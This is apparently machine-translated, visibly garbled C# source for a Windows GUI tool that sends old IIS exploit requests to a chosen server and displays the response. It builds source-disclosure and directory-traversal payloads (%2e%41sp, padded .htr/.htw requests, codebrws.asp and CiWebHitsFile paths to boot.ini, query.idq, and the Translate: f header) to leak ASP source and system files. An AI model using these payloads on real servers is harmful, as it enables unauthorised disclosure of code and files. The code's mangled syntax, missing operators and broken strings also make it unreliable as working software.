// Main Method Protected Void Btngo_Click (Object Sender, System.EventArgs E) {
// Analyze urlstring strserver = this.txtServer.Text; string strurl = this.txtFileName.Text; char [] point = {'.'}; // Define split is "." Char [] line = {'/' }; // Define split is "." String [] arrstring = Strurl.Split (line);
// Request an ASP file full name String strfilename = arrstring [arrstring.Length - 1]; // Requires the path from the root directory string strpath = Strurl.Substring (0, Strurl.Length - strfilename.length);
// Analytical file full name arrstring = strfilename.split (point); // Ask file extension String strlast = arrstring [arrstring.Length - 1]; // Ask file name String strfirst = strfilename.substring (0, strfilename.length - Strlast.length - 1);
/ / Make the button, the input box, etc. This.txtServer.readonly = true; this.txtFilename.readonly = true; this.btnclear.enabled = false; this.btngo.enabled = false;
IF (this.txtserver.text == "http: //" || this.txtFilename.text == "|| this.txtserver.text.trim () ==" || this.txtserver.text.substring (0, 7)! = "Http: //") {MessageBox.show ("Please enter the correct host name and file name!"); This.txtServer.focus ();} else {this.txtResult.visible = true this.txtResult.readonly = true; this.barstatus.text = "Learn the host ...";
String strrequestfile;
switch (this.cboMethod.SelectedIndex) {case 0: // read directly strRequestFile = strServer strUrl; break; case 5: //% 2e% 41spstrRequestFile = strServer strPath strFirst "% 2e% 41sp"; break; case 8: // longtrstrrequestfile = strser strurl " % 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%" " 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% " " 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% % 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " " 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20" "% 20% 20% 20% 20% 20% 20% 20% 20% % 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% % 20% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20.htr "; Break; Case 10: // C Odebrws.aspstrrequestfile = strserver "/iissample/exair/howitworks/codebrws.asp?source=" strurl; Break;
Case 11: //showcode.aspstrrequestfile = strser "/iissample/exair/howitworks/codebrws.asp?source=" " /msadc/../../../../boot.ini "; Break;
case 12: //null.htwstrRequestFile = strServer "/null.htw?CiWebHitsFile=" strUrl "% 20 & CiRestriction = none & CiHiliteType = Full "; break; case 13: //qfullhit.htwstrRequestFile = strServer " / iissamples / issamples /oop/qfullhit.htw?" "CiWebHitsFile = / .. / .. / boot.ini & CiRestriction = none" "& CiHiliteType = Full"; break; case 14: //qsumrhit.htwstrRequestFile = strServer "/ iissamples / issamples /oop/qsumrhit.htw?" "ciwebhitsfile = / .. / .. / boot.ini & copirestriction = none" "& cihilittype = ful"; Break;
Case 15: //query.idqstrrequestfile = strser "/query.idq?citeMplate=/../../boot.ini" "% 20% 20% 20% 20% 20% 20% 20% 20% 20 % 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% " " 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% % 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% % 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " " 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% % 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20.htx ";
case 16: //search/qfullhit.htwstrRequestFile = strServer "/iissamples/exair/search/qfullhit.htw?" " CiWebHitsFile = / .. / .. / boot.ini & CiRestriction = none " " & CiHiliteType = Full "; break; case 17: // search / qsumrhit.htwstrRequestFile = strServer "/iissamples/exair/search/qsumrhit.htw?" " CiWebHitsFile = / .. / .. / boot.ini & CiRestriction = none " " & CiHiliteType = Full Break;
Case 18: //iirturnh.htwstrrequestfile = strserver "/iishelp/iis/misc/iirturnh.htw?" " ciWebhitsFile = / .. / .. / boot.ini & circions = none "& cihilittype = full"; Break;
Case 19: //.htwstrrequestfile = strserver Strull "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20" "% 20 % 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% " " 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% % 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " " % 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% % 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% % 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20" "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20.htw? " " CiWebhitsFile = / .. / .. / boot.ini & circions = none " " & cihilittype = full "; break; default: strrequestfile = strrserver strurl this.cbomethod .TEXT;
This.barstatus.text = "Send Request:" (StrrequestFile.Length> = 50? StrrequestFile.Substring (0, 50): strrequestfile) "...";
String strresult; // If it is not translate: f method, you can send HTTP request if (this.cbomethod.selectedIndex! = 20) {// Directly send HTTP request strRRESULT = get_http (strrequestfile);
THIS.BARSTATUS.TEXT = "Complete."; Strresult = Strresult == "" "" Not found! ": strresult; this.txtResult.text = strresult;} else // translate: f method Need to establish TCP / IP connection {String strrequest = "get" strser strurl "/R/nhttp/1.0/r/ntranslate:f/n"; strresult = get_socket_request (strserver, strrequest, 80); this.barstatus.text = " Completed. "; Strresult = strresult ==" "" "" No found! ": Strresult; this.txtResult.text = strresult;}
}
/ / Recover the button, input, etc. THISTXTSERVER.Readonly = false; this.txtFilename.Readonly = false; this.btnclear.enabled = true; this.btngo.enabled = true;
}
By establishing // tcp / ip connection with the server, sending socket command private string Get_Socket_Request (string a_strServer, string a_strRequest, Int32 a_intPort) {// Set up variables and String to write to the serverEncoding ASCII = Encoding.Default; string Get = a_strRequest "Connection: Close / R / N / R / N"; // String get = byte [] byteget = ascii.getbytes (get); byte [] recvbytes = new byte [256]; string strretpage = null;
// IPAddress and IPEndPoint represent the endpoint that will // receive the requestIPAddress hostadd = DNS.Resolve (a_strServer.Substring (7, a_strServer.Length - 7)); IPEndPoint EPhost = new IPEndPoint (hostadd, a_intPort);
// Create the socket for sending data over tcpsocket s = new socket (addressfamily.afinet, sockettype.sockstream, protocoltype.prottcp);
// Connect to Host Using IpendPointIf (S.Connect (Ephost)! = 0) {strretpage = "Unable to connection"; return strretpage;}
// SENT the get text to the hosts.send (byteget, byteget.length, 0);
// Receive the page, loop until all bytes are receivedInt32 bytes = s.Receive (RecvBytes, RecvBytes.Length, 0); strRetPage = strRetPage ASCII.GetString (RecvBytes, 0, bytes); while (bytes> 0) {bytes = S.Receive (Recvbytes, Recvbytes.length, 0); strretpage = strretpage ascii.getstring (recvbytes, 0, bytes);}
Return StrretPage;
/ / Get the HTTP page function private string get_http (string a_strurl) {string strresult; httpwebrequest myreq = (httpwebrequest) WebRequestFactory.create (a_strull);
Try {httpwebresponse httpwresp = (httpwebresponse) MyReq.getResponse (); stream mystream = httpwresp.getResponsestream ();
StreamReader sr = new StreamReader (myStream, Encoding.Default); StringBuilder strBuilder = new StringBuilder (); while (! -1 = sr.Peek ()) {strBuilder.Append (sr.ReadLine () "/ r / n" }
Strresult = strbuilder.tostring ();} catch (exception exp) {strresult = "error:" Exp.Message;
Return Strresult;
}
// Exit Protected Void Mnuexit_Click (Object Sender, System.EventArgs E) {
IF ("Does I really exit?", "Exit System", MessageBox.yesno == DialogResult.yes) {this.close ();
}
// Master function public static void main (String [] args) {Application.run (new form1 ());}}}